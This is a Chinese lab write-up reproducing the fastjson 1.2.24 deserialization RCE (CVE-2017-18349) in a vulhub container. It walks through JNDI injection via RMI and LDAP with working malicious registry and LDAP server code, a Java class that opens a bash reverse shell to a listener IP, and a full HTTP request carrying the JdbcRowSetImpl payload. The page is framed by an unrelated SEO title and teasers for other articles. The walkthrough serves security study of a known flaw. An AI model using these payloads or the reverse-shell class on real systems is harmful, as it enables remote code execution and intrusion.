网站建设需要服务器/疫情防控最新政策

网站建设需要服务器,疫情防控最新政策,wordpress做seo优化,wordpress 筛选文章fastjson1.2.24 CVE-2017-18349 漏洞复现 时间不等人啊/(ㄒoㄒ)/~~ 0. 前置知识 建议直接看参考链接 JNDI:Java命名和目录接口 RMI:远程方法调用注册表 LDAP:轻量级目录访问协议 CORBA:公共对象请求代理体系结构 1. jndi …

fastjson1.2.24 CVE-2017-18349 漏洞复现

时间不等人啊/(ㄒoㄒ)/~~

0. 前置知识

建议直接看参考链接

JNDI:Java命名和目录接口

RMI:远程方法调用注册表

LDAP:轻量级目录访问协议

CORBA:公共对象请求代理体系结构

1. jndi

JNDI InitialContext类

构造方法

InitialContext() 
构建一个初始上下文。(获取初始目录环境)  
InitialContext(boolean lazy) 
构造一个初始上下文,并选择不初始化它。  
InitialContext(Hashtable<?,?> environment) 
使用提供的环境构建初始上下文。

常用方法

bind(Name name, Object obj) 
将名称绑定到对象。 
list(String name) 
枚举在命名上下文中绑定的名称以及绑定到它们的对象的类名。
lookup(String name) 
检索命名对象。 
rebind(String name, Object obj) 
将名称绑定到对象,覆盖任何现有绑定。 
unbind(String name) 
取消绑定命名对象。

示例

import javax.naming.InitialContext;
import javax.naming.NamingException;public class jndi {public static void main(String[] args) throws NamingException {String uri = "rmi://127.0.0.1:1099/work";InitialContext initialContext = new InitialContext();initialContext.lookup(uri);}
}

Reference类

构造方法

Reference(String className) 
为类名为“className”的对象构造一个新的引用。  
Reference(String className, RefAddr addr) 
为类名为“className”的对象和地址构造一个新引用。  
Reference(String className, RefAddr addr, String factory, String factoryLocation) 
为类名为“className”的对象,对象工厂的类名和位置以及对象的地址构造一个新引用。  
Reference(String className, String factory, String factoryLocation) 
为类名为“className”的对象以及对象工厂的类名和位置构造一个新引用。

示例

String url = "http://127.0.0.1:8080";
Reference reference = new Reference("test", "test", url);

参数1:className – 远程加载时所使用的类名

参数2:Factory – 加载的class中需要实例化类的名称

参数3:FactoryLocation – 提供classes数据的地址可以是*file/ftp/http***协议

常用方法

void add(int posn, RefAddr addr) 
将地址添加到索引posn的地址列表中。  
void add(RefAddr addr) 
将地址添加到地址列表的末尾。  
void clear() 
从此引用中删除所有地址。  
RefAddr get(int posn) 
检索索引posn上的地址。  
RefAddr get(String addrType) 
检索地址类型为“addrType”的第一个地址。  
Enumeration<RefAddr> getAll() 
检索本参考文献中地址的列举。  
String getClassName() 
检索引用引用的对象的类名。  
String getFactoryClassLocation() 
检索此引用引用的对象的工厂位置。  
String getFactoryClassName() 
检索此引用引用对象的工厂的类名。    
Object remove(int posn) 
从地址列表中删除索引posn上的地址。  
int size() 
检索此引用中的地址数。  
String toString() 
生成此引用的字符串表示形式。

2. jndi注入的利用条件

  • 客户端的lookup()方法的参数可控
  • **服务端在使用Reference时,**Reference(String className, String factory, String factoryLocation)中,factoryLocation参数可控/可利用

满足任一即可,jdk版本要求如下:

  • JDK 5 U45,JDK 6 U45,JDK 7u21,JDK 8u121开始:java.rmi.server.useCodebaseOnly的默认值被设置为true。当该值为true时,将禁用自动加载远程类文件,仅从CLASSPATH和当前JVM的java.rmi.server.codebase指定路径加载类文件。使用这个属性来防止客户端VM从其他Codebase地址上动态加载类,增加了RMI ClassLoader的安全性
  • JDK 6u141、7u131、8u121开始:增加了com.sun.jndi.rmi.object.trustURLCodebase选项,默认为false,禁止RMI和CORBA协议使用远程codebase的选项,因此RMI和CORBA在以上的JDK版本上已经无法触发该漏洞,但依然可以通过指定URI为LDAP协议来进行JNDI注入攻击
  • JDK 6u211、7u201、8u191开始:增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径也给禁了

小迪安全里的表格

JDK6JDK7JDK8JDK11
RMI可用<6u132<7u122<8u113
LDAP可用<6u211<7u201<8u191<11.0.1

3. RMI+JNDI方式

RMI+JNDI注入就是将恶意的Reference类绑定在RMI注册表中,其中恶意引用指向远程恶意的class文件,当用户在JNDI客户端的lookup()函数参数外部可控或Reference类构造方法的classFactoryLocation参数外部可控时,会使用户的JNDI客户端访问RMI注册表中绑定的恶意Reference类,从而加载远程服务器上的恶意class文件在客户端本地执行,最终实现JNDI注入攻击导致远程代码执行

因为Reference没有实现Remote接口也没有继承UnicastRemoteObject类,故不能作为远程对象bind到注册中心,所以需要使用ReferenceWrapper对Reference的实例进行一个封装。

服务器端

//server.java
package JNDI;import com.sun.jndi.rmi.registry.ReferenceWrapper;import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;public class server {public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {String url = "http://127.0.0.1:8081/";//恶意代码test.class在http://127.0.0.1:8081/Registry registry = LocateRegistry.createRegistry(1099);Reference reference = new Reference("test", "test", url);ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);registry.bind("obj",referenceWrapper);System.out.println("running");}
}

test.java

//test.java
//不要包名
public class test {public test() throws Exception{Runtime.getRuntime().exec("calc");}
}
编译:javac test.java
部署在web服务上:python3 -m http.server 8081 #端口根据前面服务端url的端口

当客户端通过InitialContext().lookup(“rmi://127.0.0.1:8081/obj”)获取远程对象时,会执行我们的恶意代码

//client.java
package JNDI;import javax.naming.InitialContext;
import javax.naming.NamingException;public class client {public static void main(String[] args) throws NamingException {String url = "rmi://localhost:1099/obj";InitialContext initialContext = new InitialContext();initialContext.lookup(url);}
}

4. LDAP+JNDI方式

JDK<8u191

服务端maven需要添加如下依赖:

java

<dependency><groupId>com.unboundid</groupId><artifactId>unboundid-ldapsdk</artifactId><version>4.0.0</version>
</dependency>

服务端ldap_server.java

package JNDI;import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;public class ldap_sever {private static final String LDAP_BASE = "dc=example,dc=com";public static void main ( String[] tmp_args ) {String[] args=new String[]{"http://127.0.0.1:8081/#test"};int port = 7777;try {InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);config.setListenerConfigs(new InMemoryListenerConfig("listen", //$NON-NLS-1$InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$port,ServerSocketFactory.getDefault(),SocketFactory.getDefault(),(SSLSocketFactory) SSLSocketFactory.getDefault()));//设置监听地址为 0.0.0.0:7777,并绑定默认的 ServerSocketFactory 和 SocketFactory。config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));//添加一个自定义的 OperationInterceptor,用于拦截客户端的查询请求并返回恶意响应。InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$ds.startListening();//启动 LDAP 服务器}catch ( Exception e ) {e.printStackTrace();}}private static class OperationInterceptor extends InMemoryOperationInterceptor {private URL codebase;public OperationInterceptor ( URL cb ) {this.codebase = cb;}@Overridepublic void processSearchResult ( InMemoryInterceptedSearchResult result ) {//构造一个恶意的 LDAP 响应String base = result.getRequest().getBaseDN();Entry e = new Entry(base);try {sendResult(result, base, e);}catch ( Exception e1 ) {e1.printStackTrace();}}protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);e.addAttribute("javaClassName", "foo");String cbstring = this.codebase.toString();//远程urlint refPos = cbstring.indexOf('#');if ( refPos > 0 ) {cbstring = cbstring.substring(0, refPos);}e.addAttribute("javaCodeBase", cbstring);e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$   //设置为远程 URL 的 ref 部分e.addAttribute("javaFactory", this.codebase.getRef());result.sendSearchEntry(e);//发送恶意响应result.setResult(new LDAPResult(0, ResultCode.SUCCESS));}}
}

客户端ldap_client.java

package JNDI;import javax.naming.InitialContext;public class ldap_client {public static void main(String[] args) throws Exception{Object object=new InitialContext().lookup("ldap://127.0.0.1:7777/calc");}
}
JDK >= 8u191

关于JDK >= 8u191的利用目前公开有两种绕过的方法,

两种绕过⽅法如下: 1、找到⼀个受害者本地 CLASSPATH 中的类作为恶意的 Reference Factory 工厂类, 并利用这个本地的 Factory 类执行命令. 2、利⽤ LDAP 直接返回⼀个恶意的序列化对象, JNDI 注⼊依然会对该对象进⾏反序列化操作, 利用反序列化 Gadget(已有代码片段) 完成命令执行. 
这两种⽅式都依赖受害者本地 CLASSPATH 中环境, 需要利⽤受害者本地的 Gadget 进行攻击

详见参考文章

1. 環境搭建

windows环境

自行下载docker desktop

下载netcat,并添加环境变量

https://eternallybored.org/misc/netcat/

下载git

https://git-scm.com/downloads/win

下载vulhub

git clone https://github.com/vulhub/vulhub.git

启动docker容器

C:\Users\21609\vulhub\fastjson\1.2.24-rce>docker-compose up -d

在这里插入图片描述

在docker desktop进容器里执行命令

su 
find / -name "*.jar"
#或者cmd终端里sudo docker exec -it 5ddafb45c605 /bin/bash 
java -version
#可知容器jdk版本openjdk version "1.8.0_102"

在这里插入图片描述

将文件拷贝到本地

docker cp 5ddafb45c605:/usr/src/fastjsondemo.jar fastjsondemo.jar

在这里插入图片描述

改后缀为zip后解压,用idea打开

idea的project structure里设置jdk为jdk1.8.0_65

2. 分析

该代码是一个Spring MVC控制器,主要处理JSON数据的序列化与反序列化

  • 使用@Controller注解声明控制器类,并通过@ResponseBody实现响应体自动序列化为JSON‌1

  • @RequestMapping通过method参数区分GET/POST请求,符合RESTful设计规范

  • @RequestBody接收的User对象若包含未校验字段,可能存在反序列化攻击风险

在这里插入图片描述

我们的payload(JdbcRowSetImpl利用链)格式如下:

{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://192.168.75.180:1099/obj","autoCommit":true}
}

idea裏面Navigate->Search Everywhere查找JdbcRowSetImpl,找到C:\Program Files\Java\jdk1.8.0_65\jre\lib\rt.jar!\com\sun\rowset\JdbcRowSetImpl.class

conn为null,"autoCommit":true时,会调用this.conn=this.connect()

在这里插入图片描述

dataSourceName不为null时,会调用lookup函数,并且获取到getDataSourceName的值

在这里插入图片描述

3. 采用JNDI+RMI注入

我们采用JNDI+RMI注入(利用恶意序列化对象执行任意代码)的思路

在这里插入图片描述

恶意类

// EvilClass.java
import java.lang.Runtime;//记得导入库
import java.lang.Process;
public class EvilClass {static {try {// 反弹shellProcess pc=Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", "bash -i >& /dev/tcp/192.168.75.180/8088 0>&1"});System.out.println("恶意代码已执行!");pc.waitFor();} catch (Exception e) {e.printStackTrace();}}
}

jdk1.8.0_65将这个类编译成 .class 文件,输出到code目录下

javac  C:\Users\21609\IdeaProjects\maven1\src\main\java\com\jk\web\EvilClass.java -d C:\Users\21609\Desktop\code

在code目录下开cmd,启动http服务

#python3
python -m http.server 8081
#python2
#python -m SimpleHTTPServer 8081

服务器端,在idea里运行

package com.jk.jndi;import com.sun.jndi.rmi.registry.ReferenceWrapper;import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;public class server {public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {String url = "http://192.168.75.180/";//恶意代码EvilClass.class在http://192.168.75.180:8081/Registry registry = LocateRegistry.createRegistry(1099);Reference reference = new Reference("EvilClass", "EvilClass", url);ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);registry.bind("obj",referenceWrapper);System.out.println("running");}
}

开个cmd,使用netcat监听8088端口

nc -lvvp 8088

burpsuite抓包,send to repeater

POST / HTTP/1.1
Host: 127.0.0.1:8090
Cache-Control: max-age=0
sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="98"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 131{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://192.168.75.180:1099/obj","autoCommit":true}
}

在这里插入图片描述

参考

javasec(八)jndi注入 海屿-uf9n1x

Java反序列化之FastJson1.2.24 IDEA动态调试解析 不用再等

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/72418.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

VSCode 移除EmmyLua插件的红色波浪线提示

VSCode 中安装插件EmmyLua&#xff0c;然后打开lua文件的时候&#xff0c;如果lua代码引用了C#脚本的变量&#xff0c;经常出现 “undefined global variable: UnityEngineEmmyLua(undefined-global)” 的红色波浪线提示&#xff0c;这个提示看着比较烦人&#xff0c;我们可以通…

【音视频】视频基本概念

一、视频的基本概念 1.1 视频码率&#xff08;kb/s&#xff09; 视频码率是指视频文件在单位时间内使用的数据流量&#xff0c;也叫码流率。码率越大&#xff0c;说明单位时间内取样率越大&#xff0c;数据流进度也就越高 1.2 视频帧率&#xff08;fps&#xff09; 视频帧率…

Grafana服务安装并启动

Grafana服务安装并启动 1、介绍2、下载Grafana3、解压缩文件4、启动Grafana服务5、增加数据源,填写Prometheus访问地址6、增加图表 1、介绍 Grafana是一个开源的可视化系统监控和警报工具包。 2、下载Grafana 介绍&#xff1a;Grafana是一个开源的可视化系统监控和警报工具包…

MySQL零基础教程14—子查询

子查询比较简单&#xff0c;我们还是通过案例引入。 有时候我们查询的时候&#xff0c;需要用到的不止一个表的数据&#xff0c;比如下面的场景&#xff1a; 查询名字叫李晓红同学的班主任姓名 我们提供三个表的基础信息如下&#xff1a; 从三张表的结构&#xff0c;我们不难…

基于单片机和Wifi技术的智能台灯设计

摘要 &#xff1a;本文主要介绍了基于单片机AT89C51和Wifi技术的智能台灯的硬件和软件设计。该智能台灯具有根据当前光线自动调节灯光亮度的功能&#xff0c;还可对用户使用台灯时处于非正常的距离和姿态时给予报警提示&#xff0c;用户可以随时通过手机app查询智能台灯的报警记…

在MySQL拿到一条慢SQL语句要如何优化?

在工作的过程中&#xff0c;很多时候会发现执行业务逻辑的时候&#xff0c;某一条SQL语句执行得非常慢。这时候&#xff0c;要如何处理这条语句&#xff0c;如何判断语句慢的地方在哪里&#xff1f; 一、初级排查 EXPLAIN慢SQL分析 MySQL官网用法&#xff1a; https://dev.mys…

优选算法的智慧之光:滑动窗口专题(二)

专栏&#xff1a;算法的魔法世界​​​​​​ 个人主页&#xff1a;手握风云 目录 一、例题讲解 1.1. 最大连续1的个数 III 1.2. 找到字符串中所有字母异位词 1.3. 串联所有单词的子串 1.4. 最小覆盖子串 一、例题讲解 1.1. 最大连续1的个数 III 题目要求是二进制数组&am…

2025嵌入式软件开发工程师--音频方向

一、选择题&#xff08;每题3分&#xff0c;共30分&#xff09; 1.以下哪个不是C语言中的关键字?&#xff08; &#xff09; A. int B. Float C. Define D. Return 2.以下代码的输出是: &#xff08; &#xff09; inta 5, b 10; printf("%d“, a b); A. 15 B.16 …

【Python 数据结构 1.零基础复习】

目录 一、输入与输出 1.输入 2.格式化输出 二、数字与变量 1.字符串 & 整型 2.字符串 & 整型 & 浮点型 3.变量 练习 2235. 两整数相加 三、运算与操作 1.四则运算 练习 2769. 找出最大的可达成数字 3.取整与取余 练习 2651. 计算列车到站时间 ​编辑 四、真与假 1…

大模型时代下的数据标注革命:工具、挑战与未来趋势

引言 随着大模型技术的飞速发展&#xff0c;人工智能对高质量标注数据的依赖愈发显著。传统的人工标注方式在效率、成本和场景适应性上逐渐显现瓶颈&#xff0c;而大模型凭借其强大的泛化能力和多模态理解能力&#xff0c;正在推动数据标注从“劳动密集型”向“智能工业化”转…

【azure openai】用tts实现语音对话【demo】

能实现&#xff1a; 只要替换里面的key&#xff0c;就能跑通。 key的查找方法&#xff1a; 【保姆级教程】如何在azure里快速找到openai的key和demo-CSDN博客 代码结构&#xff1a; azure_openai_client.py main.py prompts_config.py speech_utils.py stt01.py tts01.…

Spark(5)host配置

&#xff08;一.)host配置的作用&#xff1a; hosts 文件是一个本地的文本文件&#xff0c;它的作用是将主机名映射到对应的 IP 地址&#xff0c;在 DNS&#xff08;域名系统&#xff09;解析之前&#xff0c;系统会先查询 hosts 文件来确定目标主机的 IP 地址。 &#xff08;二…

Hive-04之存储格式、SerDe、企业级调优

一、主题 hive表的数据压缩和文件存储格式hive的自定义UDF函数hive的JDBC代码操作hive的SerDe介绍和使用hive的优化 二、要点 1. hive表的文件存储格式 Hive支持的存储数的格式主要有&#xff1a;TEXTFILE&#xff08;行式存储&#xff09; 、SEQUENCEFILE(行式存储)、ORC&…

Excel的行高、列宽单位不统一?还是LaTeX靠谱

想要生成田字格、米字格、带拼音标准&#xff0c;方便小学生书法和练字。Word&#xff0c;Excel之类所见即所得是最容易相当的方式。但它们处理带田字格之类背景时&#xff0c;如果没有专用模板、奇奇怪怪的插件&#xff0c;使用起来会碰到各种问题。比如&#xff0c;Word里面用…

[免费]微信小程序(校园)二手交易系统(uni-app+SpringBoot后端+Vue管理端)【论文+源码+SQL脚本】

大家好&#xff0c;我是java1234_小锋老师&#xff0c;看到一个不错的微信小程序(校园)二手交易系统(uni-appSpringBoot后端Vue管理端)&#xff0c;分享下哈。 项目视频演示 【免费】微信小程序(校园)二手交易系统(uni-appSpringBoot后端Vue管理端) Java毕业设计_哔哩哔哩_bi…

清华北大DeepSeek六册

「清华北大-Deepseek使用手册」 链接&#xff1a;https://pan.quark.cn/s/98782f7d61dc 「清华大学Deepseek整理&#xff09; 1&#xff0d;6版本链接&#xff1a;https://pan.quark.cn/s/72194e32428a AI学术工具公测链接:https://pan.baidu.com/s/104w_uBB2F42Da0qnk78_ew …

零信任沙箱:为网络安全筑牢“隔离墙”

在数字化浪潮汹涌澎湃的今天&#xff0c;网络安全如同一艘船在波涛汹涌的大海中航行&#xff0c;面临着重重挑战。数据泄露、恶意软件攻击、网络钓鱼等安全威胁层出不穷&#xff0c;让企业和个人用户防不胜防。而零信任沙箱&#xff0c;就像是一座坚固的“隔离墙”&#xff0c;…

【String】917. 仅仅反转字母

917. 仅仅反转字母 - 力扣&#xff08;LeetCode&#xff09; 使用双指针&#xff0c;一个指针指向s的开始&#xff0c;一个指向s的末尾&#xff0c;同时遍历即可。

大语言模型学习

大语言模型发展历程 当前国内外主流LLM模型 ‌一、国外主流LLM‌ ‌LLaMA2‌ Meta推出的开源模型&#xff0c;参数规模涵盖70亿至700亿&#xff0c;支持代码生成和多领域任务适配‌57。衍生版本包括Code Llama&#xff08;代码生成优化&#xff09;和Llama Chat&#xff08;对…

3dsmax烘焙光照贴图然后在unity中使用

效果预览 看不清[完蛋&#xff01;] 实现步骤 使用 软件 软体名称地址photoshophttps://www.adobe.com/products/photoshop.htmlunity3Dhttps://unity.com/3dsmaxhttps://www.autodesk.com.cn/products/3ds-max/free-trialpacker-iohttps://www.uv-packer.com/HDR 贴图地址…